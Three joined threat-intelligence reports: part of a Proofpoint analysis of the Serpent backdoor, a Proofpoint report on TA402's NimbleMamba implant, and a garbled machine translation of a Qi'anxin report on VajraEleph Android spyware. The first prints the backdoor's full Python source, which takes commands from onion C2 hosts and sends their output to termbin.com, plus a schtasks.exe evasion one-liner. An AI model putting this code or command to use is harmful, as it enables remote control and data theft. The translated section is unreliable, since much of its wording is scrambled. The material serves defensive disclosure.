URL, e.g., https://www.fhccu[.]com/images/ship3[.]jpg, containing a base64 encoded
PowerShell script hidden in the image using steganography. The PowerShell script first
downloads, installs, and updates the Chocolatey installer package and repository script.
Chocolatey is a software management automation tool for Windows that wraps installers,
executables, zips, and scripts into compiled packages, similar to Homebrew for OSX. The
software provides both open-source and paid versions with various levels of functionality.
Proofpoint has not previously observed a threat actor use Chocolatey in campaigns.
2/10
The script then uses Chocolatey to install Python, including the pip Python package installer,
which it then uses to install various dependencies including PySocks, a Python based reverse
proxy client that enables users to send traffic through SOCKS and HTTP proxy servers.
Next, the script fetches another image file, e.g. https://www.fhccu[.]com/images/7[.]jpg,
which contains a base64 encoded Python script also hidden using steganography, and saves
the Python script as MicrosoftSecurityUpdate.py. The script then creates and executes a .bat
file that in turn executes the Python script.
The attack chain ends with a command to a shortened URL which redirects to the Microsoft
Office help website.
Figure 2: 
Swiper
 image with base64 encoded PowerShell script to download and install
Chocolatey and Python and fetch another steganographic image.
The Python script (the Serpent backdoor) is as follows:
3/10
#!/usr/bin/python3
from subprocess import Popen, PIPE, STDOUT
import requests
import re
import socket
import time
cmd_url_order =
'http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd.onion.pet/index.html'
cmd_url_answer =
'http://ggfwk7yj5hus3ujdls5bjza4apkpfw5bjqbq4j6rixlogylr5x67dmid.onion.pet/index.html'
hostname = socket.gethostname()
hostname_pattern = 'host:%s-00' % hostname
headers = {}
referer = {'Referer': hostname_pattern}
cache_control = {'Cache-Control': 'no-cache'}
headers.update(referer)
headers.update(cache_control)
check_cmd_1 = ''
def recvall(sock, n):
data = b''
while len(data) < n:
packet = sock.recv(n - len(data))
if not packet:
return None
data += packet
return data
def get_cmd():
req = requests.get(cmd_url_order, headers=headers).content.decode().strip()
if req == '':
pass
else:
return req
def run_cmd(cmd):
cmd_split = cmd.split('--')
if cmd_split[1] == hostname:
cmd = cmd_split[2]
print(cmd)
run = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT)#.decode()
out = run.stdout.read()
4/10
if not out:
out = b'ok'
termbin_cnx = socks.socksocket()
termbin_cnx = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '172.17.0.1', '9050', True)
termbin_cnx.connect(('termbin.com', 9999))
termbin_cnx.send(out)
recv = termbin_cnx.recv(100000)
termbin_url_created = recv.decode().rstrip('\x00').strip()
print(termbin_url_created)
termbin_header = {'Referer': hostname_pattern+" -- "+termbin_url_created}
headers.update(termbin_header)
try:
push = requests.get(cmd_url_answer, headers=headers)
print('executed')
headers.update(referer)
except Exception as e:
print(e)
pass
else:
print('not for me')
while True:
time.sleep(10)
try:
check_cmd = get_cmd()
if check_cmd != check_cmd_1:
time.sleep(20)
print(check_cmd)
run_cmd(check_cmd)
check_cmd_1 = check_cmd
pass
except Exception as e:
print(e)
pass
This Serpent backdoor periodically pings the 
order
 server (the first onion[.]pet URL) and
expects responses of the form <random integer>--<hostname>--<command>. If <hostname>
matches the hostname of the infected computer, the infected host runs the command provided
by the order server (<command>), which could be any Windows command as designated by
the attacker, and records the output. The malware then uses PySocks to connect to the
command line pastebin tool Termbin, pastes the output to a bin, and receives the bin
s unique
URL. Finally, the malware sends a request to the 
answer
 server (the second onion[.]pet
5/10
URL), including the hostname and bin URL in the header. This allows the attacker to monitor
the bin outputs via the 
answer
 URL and see what the infected host
s response was. The
malware cycles through this process indefinitely.
Figure 3: Serpent backdoor attack chain.
Both steganographic images are hosted on what appears to be a Jamaican credit union
website.
6/10
Figure 4: Image with base64 encoded Python script.
The threat actor uses a Tor proxy for command and control (C2) infrastructure, for example:
http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd[.]onion[.]pet/index.html
Additional Tooling
In addition to the images used in this attack chain Proofpoint researchers have observed and
identified additional payloads being served from the same host. One of particular interest is
utilizing what Proofpoint believes to be a novel application of signed binary proxy execution
using schtasks.exe. Notably, this is an attempt to bypass detection by defensive measures.
This command is contained within a similar Swiper image called ship.jpg after the end of file
marker.
schtasks.exe /CREATE /SC ONEVENT /EC application /mo *[System/EventID=777] /f /TN
run /TR "calc.exe" & EVENTCREATE /ID 777 /L APPLICATION /T INFORMATION /SO
DummyEvent /D "Initiatescheduled task." & schtasks.exe /DELETE /TN run /f
The above command leverages schtasks.exe to create a one-time task to call a portable
executable. In this case the executable is called calc.exe. The trigger for this task is contingent
on the creation of a Windows event with EventID of 777. The command then creates a dummy
event to trigger the task and deletes the task from the task scheduler. This peculiar application
of tasking logic results in the portable executable being executed as a child process of
taskhostsw.exe which is a signed Windows binary.
Threat Assessment
7/10
The threat actor leveraged multiple unique behaviors and targeting suggesting this is likely an
advanced, targeted threat.
Leveraging Chocolatey as an initial payload may allow the threat actor to bypass threat
detection mechanisms because it is a legitimate software package and would not immediately
be identified as malicious. The follow-on use of legitimate Python tools observed in network
traffic may also not be flagged or identified as malicious. The use of steganography in the
macro and follow-on payloads is unique; Proofpoint rarely observes the use of steganography
in campaigns. Additionally, the technique using schtasks.exe to execute any desired portable
executable file is also unique and previously unobserved by Proofpoint threat researchers.
Proofpoint does not associate this threat with a known actor or group.
The ultimate objectives of the threat actor are presently unknown. Successful compromise
would enable a threat actor to conduct a variety of activities, including stealing information,
obtaining control of an infected host, or installing additional payloads.
A Note on Highly Targeted Threats
Proofpoint has a vast amount of organic threat data to pour over every day. This presents
unique challenges when trying to surface interesting threats. The aforementioned campaign
and the threats contained within were surfaced using Proofpoint
s machine learning-enabled
Campaign Discovery tool. This tool uses a custom-built deep neural network model to
generate useful numeric 
encodings
 of threats based on their behavioral forensics. These
encodings are then used to generate clusters of similar threats. This allows Proofpoint
s threat
researchers to identify campaigns, including the shared infrastructure, TTPs, and indicators of
compromise that define them more easily. By clustering together threats that are alike, the
tool also facilitates the discovery of anomalous or unusual threats that are not similar to any
other observed threats. We lovingly refer to this tool as Camp Disco and it sports themed ascii
art like all sweet tools should.
8/10
Indicators of Compromise
Indicator
Description
https://www[.]fhccu[.]com/images/ship3[.]jpg
Encoded
Payload
https://www[.]fhccu[.]com/images/7[.]jpg
Encoded
Payload
http://ggfwk7yj5hus3ujdls5bjza4apkpfw5bjqbq4j6rixlogylr5x67dmid
[.]onion[.]pet/index[.]html
9/10
http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd
[.]onion[.]pet/index[.]html
http://shorturl[.]at/qzES8
ShortURL
jeanne.vrakele@gmail[.]com
Sender
Email
jean.dupontel@protonmail[.]com
Sender
Email
no-reply@dgfip-nanterre[.]com
Sender
Email
f988e252551fe83b5fc3749e1d844c31fad60be0c25e546c80dbb9923e03eaf2
Docm
SHA256
ec8c8c44eae3360be03e88a4bc7bb03f3de8d0a298bff7250941776fcea9faab
Docm
SHA256
8912f7255b8f091e90083e584709cf0c69a9b55e09587f5927c9ac39447d6a19
Docm
SHA256
Proofpoint detects and blocks all documents associated with the campaigns and has published
the following Emerging Threat signatures:
2035303 - ET INFO Observed Chocolatey Windows Package Management Domain
(chocolatey .org in TLS SNI)
2035306 - ET INFO Chocolatey Windows Package Management Installation File Retrieval
2851286 - ETPRO MALWARE Malicious Script Retrieved via Image Request
10/10
Ugg Boots 4 Sale: A Tale of Palestinian-Aligned
Espionage
proofpoint.com/us/blog/threat-insight/ugg-boots-4-sale-tale-palestinian-aligned-espionage
February 2, 2022
Blog
Threat Insight
Ugg Boots 4 Sale: A Tale of Palestinian-Aligned Espionage
February 08, 2022 Konstantin Klinger, Joshua Miller, and Georgi Mladenov
Key Takeaways
TA402, a likely Palestinian-aligned advance persistent threat actor, has recently
engaged in campaigns leveraging a new implant, dubbed by Proofpoint analysts as
NimbleMamba.
NimbleMamba is likely a replacement for the group
s previously used LastConn
implant.
These campaigns have a complex attack chain that leverages geofencing and URL
redirects to legitimate sites in order to bypass detection efforts.
Overview
In late 2021, Proofpoint analysts identified a complex attack chain targeting Middle Eastern
governments, foreign policy think tanks, and a state-affiliated airline. Over three months,
Proofpoint observed three subtle variations of this attack chain. Proofpoint attributes these
campaigns to TA402, an actor commonly tracked as Molerats and believed to be operating in
the interest of the Palestinian Territories. Based on Proofpoint
s research, TA402 is a
persistent threat to organizations and governments in the Middle East, routinely updating
not only their malware implants, but also their delivery methods. After publication of
Proofpoint
s TA402 research in June 2021, TA402 appeared to halt its activities for a short
period of time, almost certainly to retool. Proofpoint researchers believe they used that time
to update their implants and delivery mechanisms, using malware dubbed NimbleMamba
and BrittleBush. TA402 also regularly uses geofencing techniques and varied attack chains
which complicate detection efforts for defenders.
Campaign Details
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Figure 1. TA402 attack chain November 2021 to January 2022.
In the recently observed campaigns, TA402 used spear phishing emails containing links that
often lead to malicious files. Proofpoint observed three different URL types in those
campaigns.
Variation 1: Actor-Controlled Domain (November 2021)
In a November 2021 campaign, TA402 masqueraded as the Quora website while using an
actor-controlled Gmail account with an actor-controlled domain. The malicious URL, such as
https[:]//www[.]uggboots4sale[.]com/news15112021.php, in the phishing email was
geofenced to the targeted countries. If the target's IP address fits into the targeted region, the
user would be redirected to the RAR file download containing the latest TA402 implant,
NimbleMamba. If outside the target area, the user would be redirected to a legitimate news
site, Figure 2.
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Figure 2. Benign redirect to legitimate news site https[:]www[.]emaratalyoum[.]com.
Variation 2: Dropbox URL (December 2021)
In December 2021, TA402 used multiple phishing pretenses, including clickbait medical
lures and ones allegedly sharing confidential geopolitical information. TA402 continued to
use an actor-controlled Gmail account but shifted to Dropbox URLs to deliver the malicious
RAR files containing NimbleMamba. This shift away from actor-controlled domains meant
that TA402 could no longer geofence their payloads. Proofpoint discovered that TA402 is not
only abusing Dropbox services for delivery of NimbleMamba, but also for malware command
and control (C2). Proofpoint has shared our investigation and analysis with Dropbox prior to
publication, and they took the needed actions for neutralizing the activity within their
organization.
Variation 3: WordPress Redirect Actor-Controlled Domain (December
2021/January 2022)
In their latest campaigns, TA402 continued to use lure content customized for each of their
targets but slightly adjusted their attack chain by inserting an additional actor-controlled
WordPress URL. That WordPress site (Figure 3), which impersonates a news aggregator of
the legitimate news site from Variation 1, likely redirects to the download site of the
malicious RAR files containing NimbleMamba if the visitor is coming from an IP within the
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targeted region. If the source IP address does not align with the target region, the URL will
redirect the recipient to a benign website, typically an Arabic language news website (Figure
Figure 3. Example WordPress site (https[:]//emaratalyoumcom[.]wordpress[.]com/)
impersonating an Arabic language news aggregator.
The use of geofenced URLs, Dropbox URLs and then redirect URLs demonstrate TA402
determination to blend in with legitimate email traffic and infect targets with
NimbleMamba.
Malware Analysis: NimbleMamba
Each variant of TA402
s attack chain led to a RAR file containing one or multiple malicious
compressed executables. These executables include a TA402 implant Proofpoint dubbed
NimbleMamba and oftentimes an additional trojan Proofpoint named BrittleBush.
NimbleMamba is almost certainly meant to replace LastConn, which
Proofpoint reported about in June 2021. LastConn was likely an updated version of the
SharpStage malware, reported by Cybereason in December 2020. While NimbleMamba and
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LastConn have some similarities, such as being written in C#, base64 encoding within the C2
framework, and use of the Dropbox API for C2 communication, there appears to be little
code overlap between the two.
NimbleMamba uses guardrails to ensure that all infected victims are within TA402
s target
region. NimbleMamba uses the Dropbox API for both command and control as well as
exfiltration. The malware also contains multiple capabilities designed to complicate both
automated and manual analysis. Based on this, Proofpoint assesses NimbleMamba is actively
being developed, is well-maintained, and designed for use in highly targeted intelligence
collection campaigns.
For this malware analysis, Proofpoint researchers analyzed the following two samples:
SHA256
Sample
c61fcd8bed15414529959e8b5484b2c559ac597143c1775b1cec7d493a40369d
Sample
430c12393a1714e3f5087e1338a3e3846ab62b18d816cc4916749a935f8dab44
NimbleMamba is written in C# and delivered as an obfuscated .NET executable using thirdparty obfuscators. Both samples analyzed used the SmartAssembly obfuscator. Additionally,
the malware does basic virtual machine checks to avoid detection by looking for common
strings that indicate a sample is running in a virtual environment.
Guardrails
NimbleMamba contains multiple guardrails to ensure that the malware only executes on
targeted machines. It uses the following IP resolving web services to check the user
s IP
address and determine if it fits into the target region. This is done to avoid detection and
5/15
analysis.
api[.]ipify[.]com (https://www.ipify.org)
myexternalip[.]com (https://myexternalip.com)
ip-api[.]com (https://ip-api.com)
api[.]ipstack[.]com (https://ipstack.com)
If the machine is unable to connect to those services, the malware will keep calling the
addresses in random order, thus putting the execution in an endless loop in closed network
environments.
The malware will only continue executing if the country of the resolved IP address country
code matches one from the following table or if the host computer has an Arabic language
pack (code 
) installed.
Code
Country
Kuwait
Egypt
Israel
Saudi Arabia
Iran
United Arab Emirates
Tunisia
Algeria
Syria
Qatar
Jordan
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Oman
Palestine
Lebanon
Libya
South Sudan
Soud Sudan (Alpha-3 code, probably added by accident)
Iraq
Yemen
Morocco
Bahrain
Configuration
NimbleMamba
s configuration is retrieved from a paste on the website JustPasteIt.
NimbleMamba takes the current timestamp from an online real-time service to ensure that
the timestamp matches the current time. Some computers may have modified time settings
and this method ensures that the time is standardized across infections. The obtained
timestamp is then used to generate a JustPasteIt URL with the algorithm in Figure 4.
7/15
Figure 4. Python implementation of NimbleMamba
s JustPasteIt algorithm.
When there is an active paste under the generated URL, it should look like this:
8/15
Figure 5. Example of JustePasteIt paste content.
The data taken from the paste service is split by 
 and then each split by 
 to form the
following two key-value pairs.
Value
ACSS
IFK641c5_RQj32p_HvJF14U3eu3iQIl1vYncq-5g4aMKQAAAAAAAAAAQ6MoiJpHT88KFIEQQ2SH5
OOOO
40,1ckZnB3a45mMpRTTYplNiNmZ
ACSS contains the obfuscated Dropbox account API auth key that is used for C2
communication. The malware then takes the external IP address, username and computer
name retrieved earlier, writes them as comma-separated strings, base64 encodes them with
stripped padding bytes and then reverses the string. The resulting string is used as a folder
name that is created on the Dropbox account using their API with the API key deobfuscated
(Figure 6) from the JustPasteIt post.
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Figure 6. Dropbox API key deobfuscation.
From there, the malware starts communicating with Dropbox to obtain a RAR file and a
decoy file that is immediately displayed to the user if present. The decoy file is often an office
document or PDF. The RAR file is password-protected with a password stored as the second
comma-separated value in the OOOO argument from the JustPasteIt paste and dropped to
the folder pointed by the first parameter in OOOO. The downloaded RAR file contains two
additional executables, an updated sample of NimbleMamba along with an executable that
contains a screenshot of the functionality. This technique allows for TA402 to serve
additional payloads to targeted NimbleMamba victims.
Pivoting on the JustPasteIt user 
Nefaty Benet
 (Researcher Note: This account is likely
meant to impersonate the Israeli Prime Minister Naftali Bennett) allows us to see that the
NimbleMamba campaign likely started in August 2021, two months after Proofpoint
previous research. This timeframe is consistent with the compile dates of the NimbleMamba
samples identified in VirusTotal.
10/15
Figure 7. Pivot to all pastes created by user 
Nefaty Benet.
Functionality
NimbleMamba has the traditional capabilities of an intelligence-gathering trojan and is likely
designed to be the initial access. Functionalities include capturing screenshots and obtaining
process information from the computer. Additionally, it can detect user interaction, such as
looking for mouse movement.
BrittleBush Trojan
Later versions of the RAR files that deliver NimbleMamba also included a small trojan
application Proofpoint dubbed BrittleBush
(2E4671C517040CBD66A1BE0F04FB8F2AF7064FEF2B5EE5E33D1F9D347E4C419F). This
trojan communicated with easyuploadservice[.]com and received commands as base64
encoded JSON structure.
11/15
Figure 8. BrittleBush JSON structure.
Attribution
Proofpoint attributes the campaigns to TA402 based on both technical indicators and
victimology. The observed attack chains mimic historical TA402 campaigns, some of which
are discussed in Proofpoint
s June 2021 research. The phishing campaigns share thematic
elements with historical Molerats campaigns. For example, the December 2021 campaign
contained a title bearing significant similarities to a 2015 TA402 campaign reported
by Kaspersky.
Campaign
Arabic Title
Translation
2015
Kaspersky
Campaign
.exe
Leaked conversation with the Egyptian
leader of military forces Sodqi Sobhi[.]exe
December
2021
Campaign
Secret meeting between bin Salman and
Erdogan in Qatar
The campaigns observed by Proofpoint likely occurred concurrently to Zscaler
s recently
published research on Molerats activity targeting individuals in Palestine & Turkey and
demonstrate Molerats continued ability to modify their attack chain based on their
intelligence targets.
The significant technical connections between the DropBox accounts used by the LastConn
malware, the account used to deploy NimbleMamba, and the account used to store
intelligence exfiltrated by NimbleMamba indicate that LastConn and NimbleMamba are
almost certainly deployed by the same operators. This was based on the findings found
during the investigation performed by Dropbox Security Team, which neutralized all the
associated accounts.
12/15
Technical intelligence, including analysis of Molerats network activity from TeamCymru,
indicates NimbleMamba developers operate in the interest of the Palestinian Territories. The
guardrails employed by NimbleMamba demonstrate a clear focus on targeting Arabic
speakers along with computers in the Middle East. Proofpoint observed campaigns targeting
Middle Eastern governments, foreign policy think tanks, and a state-affiliated airline.
Proofpoint assesses TA402 likely operates in support of Palestinian objectives, which is
consistent with prior Proofpoint and the broader industry
s previously published
assessments.
Conclusion
TA402 continues to be an effective threat actor that demonstrates its persistence with its
highly targeted campaigns focused on the Middle East. Based on the variations between
campaigns delivering NimbleMamba, along with the historical pattern of developing new
malware post disclosure, Proofpoint judges with moderate confidence that TA402 will
continue to update both their implants and infection chains to complicate defensive efforts.
Indicators of Compromise (IOCs)
Type
430c12393a1714e3f5087e1338a3e3846ab62b18d816cc4916749a935f8dab44
SHA256
c61fcd8bed15414529959e8b5484b2c559ac597143c1775b1cec7d493a40369d
SHA256
uggboots4sale[.]com
Domain
925aff03ab009c8e7935cfa389fc7a34482184cc310a8d8f88a25d9a89711e86
SHA256
13/15
easyuploadservice[.]com
Domain
2e4671c517040cbd66a1be0f04fb8f2af7064fef2b5ee5e33d1f9d347e4c419f
SHA256
ET Signatures
2035112 TA402/Molerats CnC Checkin
2035113 TA402/Molerats Payload Downloaded
2035120 TA402/Molerats CnC Activity
2035121 TA402/Molerats External IP Lookup Activity
2035122 TA402/Molerats Related Malware Domain in DNS Lookup
2035123 TA402/Molerats Related Malware Domain in DNS Lookup
YARA Signatures
rule Proofpoint_Molerats_TA402_NimbleMamba {
meta:
description = "Detects .NET written NimbleMamba malware used by TA402/Molereats"
author = "Proofpoint Threat Research"
disclaimer = "Yara signature created for hunting purposes - not quality controlled within
enterprise environment"
hash1 = "430c12393a1714e3f5087e1338a3e3846ab62b18d816cc4916749a935f8dab44"
hash2 = "c61fcd8bed15414529959e8b5484b2c559ac597143c1775b1cec7d493a40369d"
strings:
$dotnet = "#Strings" ascii
$dropbox = "dropboxapi.com" ascii wide
$justpaste = "justpaste.it" wide
$ip_1 = "api.ipstack.com" wide
14/15
$ip_2 = "myexternalip.com" wide
$ip_3 = "ip-api.com" wide
$ip_4 = "api.ipify.com" wide
$vm_1 = "VMware|VIRTUAL|A M I|Xen" wide
$vm_2 = "Microsoft|VMWare|Virtual" wide
condition:
uint16be(0) == 0x4D5A and $dotnet and $dropbox and $justpaste and any of ($ip_*)
and any of ($vm_*)
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15/15
VajraEleph from South Asia - Cyber espionage against Pakistani military personnel
revealed
mp.weixin.qq.com/s/B0ElRhbqLzs-wGQh79fTww
Original QAX Virus Response Centre Qi Anxin Virus Response Center 2022-03-30 12:00
1. Summary of the event
In February 2022 , the mobile security team of Qi'anxin Virus Response Center noticed that since June 2021 , an A _ _ _ _ _ _ _ _ _
_ _ _ _ _ _ _ P& T organization mainly targets PakistanThe Tanzanian military has launched organized , planned and targeted
military espionage intelligence activities . _ After just nine months of attacks , the group has affected dozens of Pakistani military
personnel . _ This part of the victimThe personnel are mainly Pakistani national border guards ( FC ) and special forces ( SSG ) ,
especially the Balochistan border guards ( FCBLN ) ; in addition _ _ _ _ Also contains a small amount of FBI ( FIA ) and police (
Police ) . _ _ _ _ _ _ _ Another attack also affected a small number of Nepalese personnel , but domestic users in China were not
affected by it .
Figure 1.1 Distribution of affected countries _ _ _ _ _
The organization usually uses public social platforms to find the target of concern , and combines pornographic words and other chats
to induce the target users to install the specified bait chat attack application . Used for phishing attacks . Furthermore ,The attacker
also published the malicious chat application on a well- known foreign app store platform , but the relevant links are now inaccessible
As of the time of this report , all the attacks of this group that we have intercepted are carried out through the An d r oi d platform ,
and we have not found any Via the Windows platform _ _ _ _ _attack . _ _ A total of 8 malicious application download servers have
been captured , and at least 5 different Android platform attack samples can be downloaded on the servers . _ _ All samples were _
_Dedicated chat software for Italian codes . We name all these captured malicious samples V a j r a Sp y . _ _ _ _
Comprehensive analysis of the attack activity characteristics , sample coding method , C2 server architecture and other clues shows
that the organization has a regional power in South Asia . the background of the government , but also live with the regionOther APT
tissues that jumped , such as Sidewinder Sidewinder , Manling Flower Bitter , Belly Brainworm Donot , etc. , were not significantly
associated _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ ( Only with bellyworm D o no o t _ _There is a small amount of similarity ) , with
strong independence and independent characteristics . Therefore , we identified this organization as a new APT organization active in
South Asia . _ _ We named it King Kong Elephant , English _The document name is V a j r a E l e ph , and the organization number is
A P T - Q - 4 3 . King Kong Elephant is the 15th APT organization that Qi Anxin independently discovered and first disclosed . _ _ _
2. Load delivery _
Through the Qi Anxin Virus Response Center mobile security team and the Qi Anxin threat intelligence platform ( h t t p s : / / t i . q i
a n x i n . c o m / ) joint tracking analysis found that , the earliest activities of the King Kong Elephant Organization can be traced back
to June 2021 . The picture below shows the earliest payload server information of the organization that we intercepted .
1/11
Figure 2.1 Screenshot of the earliest domain name payload server discovered ( using Name Sil o registrar domain name ) _ _ _ _ _ _
In the early attacks of this group , the " short link " of the download address of the attack payload is usually sent to the target through
social software such as WhatsApp . . Later , with the major socialTaiwan banned related links , and the organization switched to
delivering short links to target people in the form of pictures .
payload short chain address
Corresponding to the actual download address
h t t p s : / / c u t t . ly / q I r g C K o _
https://appz.live/ichfghbtt/crazy.apk
h t t p s : / / b i t . ly / 3 B r C x N U _
https://appzshare.digital/coufgtdjvi/ZongChat(Beta).apk
h t t p s : / / b i t . ly / 3 9 r o C M d _
https://apzshare.club/poahbcyskdh/cable.apk
https://rebrand.ly/Cable_v2
https://appzshare.club/poahbcyskdh/cable.apk
Table 1 Discovered short chains of payload delivery and their corresponding actual download addresses _
The load name servers used by this organization are all registered for less than a year , and the registrars are mainly Name Sil o and
Name Cheap . _ _ _ _ _ _ _ This is in line with another recent activity in South AsiaThe activity of the advanced attack group , the
brainworm , is similar .
2/11
Figure 2. 2 part of the domain name payload server who is the situation
3. Attack target _
The King Kong Elephant Group has obvious intentions to steal military intelligence , mainly targeting Pakistani military personnel ,
affecting dozens of military personnel who have been involved in several units . Here 's what we get from attacker C 2The photos and
information of some victims' mobile phones were intercepted on the server .
Figure 3.1 Stolen photos of Pakistan Frontier Guard ( FC , F ro n ti e r C o r p s ) personnel _ _ _
3/11
Figure 3.2 Stolen photos of Pakistani Balochistan Border Guard ( FC B L N , FC Balochistan ) personnel _ _ _ _ _ _ _ _ _ _ _ _ _
Figure 3.3 Information stolen from Balochistan border guards _ _
4/11
Figure 3.4 Stolen photos of Pakistani special forces _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
Figure 3.5 Stolen photos of Pakistani police _
5/11
Figure 3.6 Pakistani Police Stolen Information _ _
6/11
Figure 3.7 Pakistani Federal Bureau of Investigation ( FIA , FederalInvestigationAgency ) personnel were stolen photos _ _ _ _ _ _ _
_ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ piece
Figure 3.8 Stolen Information on the Chief of Staff of the Army _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _
4. Technical Analysis _
Through analysis , it is found that the attack RA T invested by the King Kong Elephant Organization is currently targeting the Android
platform . _ Analysis shows that the organization has a high degree of R A T customization , and weNamed V a j r a Sp y . _ _ V a j r a
Spy supports all the classic functions of espionage and stores the stolen data in a designated Google cloud storage space . _ _ _ _ _ _
function
Corresponding post - stealing data storage file name
steal call logs
logs.json
steal address book
contacts.json
Steal SMS
sms.json
Steal 1 5 types of files in the specified directory of the SD card
file / filename _ _ _ _ _
Steal notification bar information
n o t i / 1 3 -bit timestamp . j s o n
Steal device information
device.json
Steal installed application information _ _ _
appdetails.json
Stealing three versions of WhatsApp information _ _ _ _ _ _ _
wa.json/wab.json/wabs.json
Table 2 V a j r a S p y R A T main stealing functions _ _
7/11
Figure 4.1 15 types of files ( text , pictures , audio ) related code snippets stolen _ _ _ _
5. Attacker portrait _ _
1 ) The purpose of the attack
Attackers targeted Pakistani military , security and police personnel , including border guards ( FC ) , special forces ( SSG ) , federal
investigators _ _ _ _ _ _ Bureau ( FIA ) and Police ( P _ _o l ic e ) and so on . Among them , the border guards are the main target .
8/11
There are also a small number of activities targeting Nepalese military personnel . It can be seen from this that military personnel and
military secrets are thethe main purpose of the activity .
2 ) Attack method
Attackers are good at using social induced delivery and SMS induced delivery to attack , among which social induced delivery is the
main method .
3 ) Network assets
The mobile phone numbers used by the attackers are all exclusive numbers of mobile service providers in a country in South Asia .
4 ) Native language features
The attackers used a large number of languages from a South Asian country in their attacks . The country has a longstanding military
and geopolitical conflict with Pakistan . _ _
5 ) Association with other APT organizations _ _ _
The activity characteristics of the malicious sample download server are similar to those of the belly worm ( Donot ) . _ _ _
Some of the filenames used in the attack have certain similarities to the bellyworm tissue . _ _
To sum up , the King Kong Elephant Organization should be a senior executive with a government background in a South Asian
country who mainly launched cyber attacks against Pakistani military personnel and military activities . attack group , is an active
_New APT organization in South Asia . _ _ _
6. Summary and Recommendations _
In traditional APT activities , the use of mobile social platforms is not common . _ _ This is because most of the sensitive and
confidential information is stored on the computer , and on the other hand , it is also caused byBecause of launching attacks through
social platforms , it is easy to leave traces .
However , in the past two years , with the increasing popularity of mobile social platforms , we have found that many A P T activities
targeting developing countries will be more or less Via mobile platforms , social platformsto proceed . For example , the Nuo Chong
Lion Organization , the Blade Eagle Organization and the Diamond Elephant Organization disclosed this time all target the An d r oi d
platform and _ _ _ _ _ network of social platformsattack activity . The analysis believes that the reasons for the increasing attention
of APT activities on mobile platforms and social platforms mainly include the following aspects :
First of all, the level of network security construction and management in many developing countries is relatively backward , so that it
is possible to gain access to smartphones only through attacks on smartphones . large amounts of sensitive and confidential
information.
Second , the popularity of smartphones is getting higher and higher . It is a low-cost , high -cost way to launch cyber attacks through
social platforms against secret -related personnel with insufficient security awareness . Efficient attack . _ _
Third , smartphones often have more unfixed security vulnerabilities , and the penetration rate of mobile security software is not high
, which leads to the launch of network targeting mobile platforms . The technical threshold of attack is relatively lower.
Then , for government and enterprise institutions , especially the military , police and other secret or sensitive institutions , how
should they do a good job in protection , and try to avoid or reduce the targeting of immigrants as much as possible ? App for mobile
platforms and social platforms _What is the impact of T activities on yourself ? Here we give some practical suggestions as follows .
1 ) Work and life are separated , and sensitive information is not shared
Agencies should strive to avoid staff using personal smartphones for routine office activities . _ _ Conditional units can distribute
work mobile phones or confidential mobile phones to staff . _ _ If the conditions are trueIt is not allowed . You can use enterprise level secure mobile work platforms for internal communication and office work , such as Lanxin and cloud mobile phone security
management systems .
2 ) Strengthen safety awareness education and strictly implement safety regulations
Relevant institutions should strengthen employee security awareness education , do not use personal mobile phones to shoot , store
sensitive or confidential information , and do not share sensitive or confidential information through social platforms information ;
t click on strangers
 postsUnknown links come ; reject the temptation of illegal information such as pornography and gambling .
At the same time , relevant agencies should also formulate practical cybersecurity management standards and employee code of
conduct , and carry out strictSupervision and review .
3 ) Update software system , use security software
Relevant institutions should require employees , whether it is an office mobile phone or a personal mobile phone , to update the
operating system and core software in a timely manner to ensure that the smart phone starts to work . Always in the best safe
condition . sameInstall the necessary mobile phone security software at any time to reduce the damage of various Trojan horses and
viruses as much as possible .
4 ) Establish threat intelligence capabilities to prevent APT attacks _ _
9/11
Relevant institutions should work with professional security vendors to build efficient threat information collection , analysis and
disposal capabilities , and timely detect , intercept and track various APT activities . _ move , bring APT activities to the _ _Impact
and losses are minimized .
At present , a full line of products based on Qi'anxin 's self - developed Owl engine and Qi'anxin Threat Intelligence Center 's threat
intelligence data , including Qi'anxin 's threat intelligence platform ( TIP ) , Tianqing , Tianji _ _ _, Sky Eye Advanced Threat
Detection System , Qi An Xin N G SOC , Qi An Xin Situational Awareness , etc. , have all supported the accurate detection of such
attacks .
Part IOC _ _
Domain name / IP
Purpose
appplace.shop
payload server
appz.live
payload server
apzshare.club
payload server
appzshare.digital
payload server
appzshare.club
payload server
212.24.100.197
payload server
AndroidMD5
package name
7a47d859d5ee71934018433e3ab7ed5b
c o m . cr . c ha t _ _
0c980f475766f3a57f35d19f44b07666
com.crazy.talk
Appendix 1 Qi Anxin Virus Response Center
Qi'anxin Virus Response Center is a virus identification and response professional team under Beijing Qi'anxin Technology Co.,
Ltd. ( Qianxin Group ) , backed by the core of Qi'anxin Cloud platform , with daily tens of millionsSample detection and disposal
capabilities , daily 100 million -level safety data correlation analysis capabilities . Combining years of anti- virus core security
technology and operational experience , based on the Q O W L and Q D E independently developed by the group( artificial intelligence
) engine , forming cross- platform Trojan virus and vulnerability detection and repair capabilities , and has powerful big data analysis
and realization of full platform security . Full protection and early warning capabilities .
Qi'anxin Virus Response Center is responsible for supporting the virus detection of Qi'anxin 's entire line of security products ,
actively responding to security feedback from customers , and can provide customers with the first time Eliminate intractable diseases
. _ Center ZengHe has dealt with major virus incidents many times and participated in the security work of major events , which has
been highly recognized by customers , which has enhanced Qi Anxin 's brand influence in the industry .
Appendix 2 Qi'anxin Virus Response Center Mobile Security Team _
The mobile security team of Qi'anxin Virus Response Center has been committed to the research in the field of mobile
security and Android security ecology . At present , Qi Anxin 's mobile security products can not only detect and kill commonIt can
also accurately detect and kill popular software such as brushing , fraud , gambling , violations , pornography and other black products
. _ _ _ _ _ It can effectively support traceability through its internal analysis systemAnalysis and other tracking . Through its highvalue mobile attack discovery process , it has captured a number of attack events , released a number of mobile black industry reports
, and disclosed multiple A P T groups . weaving activities , _Two years ago , new APT organizations under the background of 4
10/11
countries have been disclosed for the first time ( Nuo Chong Lion Organization Si l en c e r L ion , Blade Eagle Organization B l a d e H
